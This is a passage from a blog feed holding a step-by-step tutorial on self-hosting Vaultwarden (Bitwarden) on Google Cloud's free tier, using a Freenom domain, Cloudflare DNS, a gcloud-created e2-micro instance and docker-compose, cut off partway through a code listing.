</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;__main__&#39;</span>: 
</span></span><span style="display:flex;"><span>  [<span style="color:#f92672">...</span>]</span></span></code></pre></td></tr></table>
</div>
</div>
]]></content></item><item><title>Bitwarden on Google Cloud for Free</title><link>https://blzr.sbs/posts/bitwarden-on-google-cloud/</link><pubDate>Sat, 05 Nov 2022 00:00:00 +0000</pubDate><guid>https://blzr.sbs/posts/bitwarden-on-google-cloud/</guid><description>Self-hosting bitwarden instance on google cloud for exactly 0 currency</description><content type="html"><![CDATA[<p>Today we will host Bitwarden on Google Cloud. This setup costs exactly $0 and would be so, until Google Cloud decides something drastic. Following section will be updated if any breaking changes are made and how to mitigate them.</p>
<h2 id="changes">Changes</h2>
<blockquote>
<p>Inital Post : 13-12-2021</p>
</blockquote>
<blockquote>
<p>Update On : 05-11-2022</p>
</blockquote>
<p>Some people might want to have a simpler docker-compose file for this. I have created the same and added here. This uses SQLite version for nginx proxy manager, which is sufficient for running 1-3 containers.</p>
<p>To stop and remove images, <code>docker-compose down --rmi local</code></p>
<p>Now the docker-compose file:</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">version</span>: <span style="color:#e6db74">&#39;3&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">services</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">app</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">image</span>: <span style="color:#e6db74">&#39;jc21/nginx-proxy-manager:latest&#39;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ports</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#e6db74">&#39;80:80&#39;</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#e6db74">&#39;81:81&#39;</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#e6db74">&#39;443:443&#39;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">./data:/data</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">./letsencrypt:/etc/letsencrypt</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">server</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">container_name</span>: <span style="color:#ae81ff">bitwarden</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">./bw-data:/data/</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">environment</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">WEBSOCKET_ENABLED=true</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">ADMIN_TOKEN=&#34;changeme&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">network_mode</span>: <span style="color:#ae81ff">google-cloud_default</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">image</span>: <span style="color:#e6db74">&#39;vaultwarden/server:latest&#39;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">depends_on</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">app</span></span></span></code></pre></td></tr></table>
</div>
</div>
<h2 id="introduction--important-stuff">Introduction : Important Stuff</h2>
<p><a href="https://cloud.google.com/free/docs/gcp-free-tier/#compute">Compute Engine</a></p>
<p>Google Cloud provides 1 non-preemptible e2-micro VM instance per month:</p>
<ul>
<li>Regions:
<ul>
<li>Oregon: us-west1</li>
<li>Iowa: us-central1</li>
<li>South Carolina: us-east1</li>
</ul>
</li>
<li>30 GB-months standard persistent disk</li>
<li>5 GB-month snapshot storage in the following regions:
<ul>
<li>Oregon: us-west1</li>
<li>Iowa: us-central1</li>
<li>South Carolina: us-east1</li>
<li>Taiwan: asia-east1</li>
<li>Belgium: europe-west1</li>
</ul>
</li>
<li>1 GB network egress from North America to all region destinations (excluding China and Australia) per month</li>
</ul>

    <aside class="admonition tip">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-sun">
      <circle cx="12" cy="12" r="5"></circle>
      <line x1="12" y1="1" x2="12" y2="3"></line>
      <line x1="12" y1="21" x2="12" y2="23"></line>
      <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"></line>
      <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"></line>
      <line x1="1" y1="12" x2="3" y2="12"></line>
      <line x1="21" y1="12" x2="23" y2="12"></line>
      <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"></line>
      <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"></line>
   </svg></div><b>Tip</b>
        </div>
        <div class="admonition-content"><ul>
<li>Your Free Tier e2-micro instance limit is by time, not by instance.</li>
<li>Each month, eligible use of all of your e2-micro instance is free until you have used a number of hours equal to the total hours in the current month.</li>
<li>Usage calculations are combined across the supported regions.</li>
<li>Compute Engine free tier does not charge for an external IP address.</li>
<li>GPUs and TPUs are not included in the Free Tier offer. You are always charged for GPUs and TPUs that you add to VM instances.</li>
</ul>
</div>
    </aside>
<p><a href="https://bitwarden.com/help/article/install-on-premise-linux/#configure-your-domain">Requirement of URL</a>- Bitwarden recommends a URL configured with it. This is not strictly requirement, however it will smoothen next steps, as we will see.</p>
<h2 id="step-1--getting-a-free-domain">Step 1 : Getting a free Domain</h2>
<p>First we need a domain. Since we are targeting the maximum of $0, we will use domains provided by <a href="https://www.freenom.com/">Freenom</a>.</p>
<p>Create an account in freenom. In my experience, using Google/Outlook emails is faster while creating the account, as freenom service isn&rsquo;t fastest in the world. You will able to get free domains of TLDs .tk, .ml, .ga, .cf and .gq.</p>
<p>On the main page, search for your domain. Make sure that the domain is sufficiently long (more than 10 characters). You will get the screen below.</p>

<figure><picture>
          <source srcset="/images/bitwarden-on-google-cloud/add-domain_hu2781649717989968494.webp" type="image/webp">
          <source srcset="/images/bitwarden-on-google-cloud/add-domain_hu11681047387905135206.jpg" type="image/jpeg">
          <img src="/images/bitwarden-on-google-cloud/add-domain_hu2781649717989968494.webp"alt="Freenom Domain chooser page"  width="1349"  height="397"  loading="lazy" />
        </picture><figcaption>
            <p>Freenom Domain chooser page</p>
          </figcaption></figure>
<p>Click on &ldquo;Get it now!&rdquo; and follow the on-screen instructions to register the domain in your account.</p>
<p>Go to <a href="https://my.freenom.com/clientarea.php?action=domains">My Domains</a> to view the newly acquired domain.</p>

<figure><picture>
          <source srcset="/images/bitwarden-on-google-cloud/manage-domain_hu15039053219854599376.webp" type="image/webp">
          <source srcset="/images/bitwarden-on-google-cloud/manage-domain_hu1281057861257346491.jpg" type="image/jpeg">
          <img src="/images/bitwarden-on-google-cloud/manage-domain_hu15039053219854599376.webp"alt="Manage My Domains"  width="1349"  height="412"  loading="lazy" />
        </picture><figcaption>
            <p>Manage My Domains</p>
          </figcaption></figure>
<p>Click on Manage Domain on the right to manage that particular domain. For this, you have to be familiar with the nameserver section of the management page.</p>

<figure><picture>
          <source srcset="/images/bitwarden-on-google-cloud/manage-domain-ns_hu13609086302296809881.webp" type="image/webp">
          <source srcset="/images/bitwarden-on-google-cloud/manage-domain-ns_hu8906542389736239126.jpg" type="image/jpeg">
          <img src="/images/bitwarden-on-google-cloud/manage-domain-ns_hu13609086302296809881.webp"alt="Manage Nameservers"  width="1347"  height="438"  loading="lazy" />
        </picture><figcaption>
            <p>Manage Nameservers</p>
          </figcaption></figure>
<p>Freenom&rsquo;s DNS propagation is slow as fuck. I had to wait for 7 days for DNS propagation to be completed.</p>
<p>To verify DNS propagation, run the following command on any linux based operating system. If the DNS propagation is not finished, you will get following response.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ dig example-domain.cf
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>; &lt;&lt;&gt;&gt; DiG 9.16.1-Ubuntu &lt;&lt;&gt;&gt; example-domain.cf
</span></span><span style="display:flex;"><span>;; global options: printcmd
</span></span><span style="display:flex;"><span>;; Got answer:
</span></span><span style="display:flex;"><span>;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NXDOMAIN, id: 8376
</span></span><span style="display:flex;"><span>;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>;; OPT PSEUDOSECTION:
</span></span><span style="display:flex;"><span>; EDNS: version: 0, flags:; udp: 512
</span></span><span style="display:flex;"><span>;; QUESTION SECTION:
</span></span><span style="display:flex;"><span>;example-domain.cf. IN A
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>;; AUTHORITY SECTION:
</span></span><span style="display:flex;"><span>cf.                     5       IN      SOA     a.ns.cf. kohilaire.socatel.cf. 1638650493 10800 3600 604800 5
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>;; Query time: 210 msec
</span></span><span style="display:flex;"><span>;; SERVER: 172.21.0.1#53(172.21.0.1)
</span></span><span style="display:flex;"><span>;; WHEN: Sun Jan 05 00:00:10 GMT 2021
</span></span><span style="display:flex;"><span>;; MSG SIZE  rcvd: 127
</span></span></code></pre></div><p>Lines beginning with ; are comments that are not part of the information received from the DNS server, but they do reflect some of the low-level protocol used in making the query.</p>
<p>The first two lines tell us the version of dig (9.16.1), the command line parameters (example-domain.cf) and the query options (<code>printcmd</code>). The printcmd option means that the command section (the name given to these first two line) is printed. You can turn it off by using the option <code>+nocmd</code>.</p>
<p>Next, dig shows the header of the response it received from the DNS server. Here it reports that an answer was obtained from the query response (<code>opcode: QUERY</code>) and the response contains one answer, and one piece of information in the authority section and additional section. The flags are used to note certain things about the DNS server and its response; for example, the RA flag shows that recursive queries are available.</p>
<p>Next comes the question section, which simply tells us the query, which in this case is a query for the A record of example-domain.cf. The IN means this is an Internet lookup (in the Internet class).</p>
<p>Along with the IP address the DNS record contains some other useful information. The authority section contains a list of name servers that are responsible for the domain name — those that can always give an authoritative answer. Here we find one name server listed, which are the name servers of the company with which the domain was registered. To save an extra lookup, dig lists the IP addresses of those name servers in the additional section.</p>
<p>Lastly there are some stats about the query.</p>
<p>Once the wait is over we can protect our domain.</p>
<h2 id="step-2--protecting-the-domain">Step 2 : Protecting the Domain</h2>
<p>Since we are using various of constraints, we have to take care of protecting our domain from any malicious actors. Hence, we will be using Cloudflare.</p>
<p>Cloudflare provides content delivery network and DDoS mitigation services. Its services occur between a website&rsquo;s visitor and the Cloudflare customer&rsquo;s hosting provider, acting as a reverse proxy for websites. Also, it provides a free account for our domains and a relatively fast DNS than Freenom, which we would be using. Start with creating an account on Cloudflare.</p>
<p>Click on &ldquo;Add a Site&rdquo; and enter the domain in the textbox. After that click on &ldquo;Add site&rdquo;.</p>

<figure><picture>
          <source srcset="/images/bitwarden-on-google-cloud/add-domain_hu2781649717989968494.webp" type="image/webp">
          <source srcset="/images/bitwarden-on-google-cloud/add-domain_hu11681047387905135206.jpg" type="image/jpeg">
          <img src="/images/bitwarden-on-google-cloud/add-domain_hu2781649717989968494.webp"alt="Add Domain to Cloudflare"  width="1349"  height="397"  loading="lazy" />
        </picture><figcaption>
            <p>Add Domain to Cloudflare</p>
          </figcaption></figure>
<p>Select &ldquo;Get started for free&rdquo; (Located at the bottom of the page) and select Continue.</p>

<figure><picture>
          <source srcset="/images/bitwarden-on-google-cloud/cloudflare-price_hu10807529346810723188.webp" type="image/webp">
          <source srcset="/images/bitwarden-on-google-cloud/cloudflare-price_hu16907303339497590710.jpg" type="image/jpeg">
          <img src="/images/bitwarden-on-google-cloud/cloudflare-price_hu10807529346810723188.webp"alt="How to get to free tier form Cloudflare"  width="906"  height="289"  loading="lazy" />
        </picture><figcaption>
            <p>How to get to free tier form Cloudflare</p>
          </figcaption></figure>
<p>Review DNS records and select on Continue. Next, &ldquo;Change your nameservers&rdquo; section, you will find following section.</p>

<figure><picture>
          <source srcset="/images/bitwarden-on-google-cloud/nameservers_hu4687658100199026894.webp" type="image/webp">
          <source srcset="/images/bitwarden-on-google-cloud/nameservers_hu6127334787500614002.jpg" type="image/jpeg">
          <img src="/images/bitwarden-on-google-cloud/nameservers_hu4687658100199026894.webp"alt="Get Cloudflare nameservers to manage your domain"  width="610"  height="563"  loading="lazy" />
        </picture><figcaption>
            <p>Get Cloudflare nameservers to manage your domain</p>
          </figcaption></figure>
<p>Find the management page on Freenom and replace the nameservers with the Cloudflare&rsquo;s nameservers. It is like <code>sophia.ns.cloudflare.com</code> After that, wait for few moments and click on &ldquo;Done, check nameservers&rdquo;. It usually takes 24-48 hours for updates. So, have a nice sleep for 2-3 days.</p>
<h2 id="step-3--configuring-google-cloud">Step 3 : Configuring Google Cloud</h2>
<p>After the DNS propagation is complete. We can go and setup Googlr Cloud Instance. We will be using Always free tier. Create a Google Cloud account for yourself. If you are a new user, you will be given $200 credit for trying out the services. But, since we are certified long-term free-loader, we will ignore that offer. You will be asked to enter your Credit Card details and maybe asked to re-verify. If your country allows it we can use Debit Cards also. But, don&rsquo;t panic as apart from small refundable amount, no additional charges will be leived.</p>
<p>Once your cloud account is activated and billing is in place, you can go ahead and startup Cloud Shell (located on the top ribbon, 4th icon from left).</p>

<figure><picture>
          <source srcset="/images/bitwarden-on-google-cloud/cloudshell_hu11928532364969591924.webp" type="image/webp">
          <source srcset="/images/bitwarden-on-google-cloud/cloudshell_hu6962656807912200698.jpg" type="image/jpeg">
          <img src="/images/bitwarden-on-google-cloud/cloudshell_hu11928532364969591924.webp"alt="Google Cloud Console top panel"  width="1303"  height="47"  loading="lazy" />
        </picture><figcaption>
            <p>Google Cloud Console top panel</p>
          </figcaption></figure>
<p>Go to Google Compute Engine and open a Cloud Shell. You may also create the instance manually following the constraints of the free tier. In the Cloud Shell enter the following command to build the properly spec&rsquo;d machine:</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>gcloud compute instances create bitwarden \
</span></span><span style="display:flex;"><span>--machine-type e2-micro \
</span></span><span style="display:flex;"><span>--zone us-central1-a \
</span></span><span style="display:flex;"><span>--image-project cos-cloud \
</span></span><span style="display:flex;"><span>--image-family cos-stable \
</span></span><span style="display:flex;"><span>--boot-disk-size=30GB \
</span></span><span style="display:flex;"><span>--scopes compute-rw
</span></span></code></pre></td></tr></table>
</div>
</div>
<p>You may change the zone to be closer to you or customize the name (<code>bitwarden</code>), but most of the other values should remain the same. Once the instance is started, login to the instance via SSH. Once in the instance, create a file <code>install-alias.sh</code>. You can do so via</p>
<p><code>vi install-alias.sh</code></p>
<p>This will open Vi editor. Enter <code>I</code> go move to insert mode. Copy the below code box and paste in the editor.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env sh
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Write the docker-compose alias to ~/.bash_alias</span>
</span></span><span style="display:flex;"><span>ALIAS<span style="color:#f92672">=</span><span style="color:#e6db74">$&#39;alias docker-compose=\&#39;docker run --rm \
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    -v /var/run/docker.sock:/var/run/docker.sock \
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    -v &#34;$PWD:$PWD&#34; \
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    -w=&#34;$PWD&#34; \
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    docker/compose\&#39;&#39;</span>
</span></span><span style="display:flex;"><span>echo -e <span style="color:#e6db74">&#34;</span>$ALIAS<span style="color:#e6db74">&#34;</span> &gt;&gt; ~/.bash_alias
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Include ~/.bash_alias in ~/.bashrc</span>
</span></span><span style="display:flex;"><span>ALIAS_INCLUDE<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;if [[ -f ~/.bash_alias ]] ; then \n    . ~/.bash_alias \nfi&#39;</span>
</span></span><span style="display:flex;"><span>echo -e <span style="color:#e6db74">&#34;</span>$ALIAS_INCLUDE<span style="color:#e6db74">&#34;</span> &gt;&gt; ~/.bashrc
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>. ~/.bashrc</span></span></code></pre></td></tr></table>
</div>
</div>
<p>When done, press <code>Esc</code> and then type <code>:wq</code> to save and exit the editor. Now in the terminal type in <code>chmod u+x install-alias.sh</code>. This will mark this file as executable.</p>
<p>Set up the docker-compose alias by using the included script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>sh install-alias.sh
</span></span><span style="display:flex;"><span>source ~/.bashrc
</span></span></code></pre></div><p>When done, enter following code, it will fetch docker-compose container and will show below output.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ docker-compose --version
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>docker-compose version 1.26.2, build eefe0d3
</span></span></code></pre></div><p>Now create a new folder: <code>mkdir google-cloud</code></p>
<p>Create a file: <code>vi docker-compose.yaml</code> and copy-paste below contents into the editor.</p>
<p>Change all the instances where <code>changeme</code> is mentioned to a strong username/password and set ADMIN_TOKEN for Bitwarden instance using the command <code>openssl rand -base64 48</code>.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24
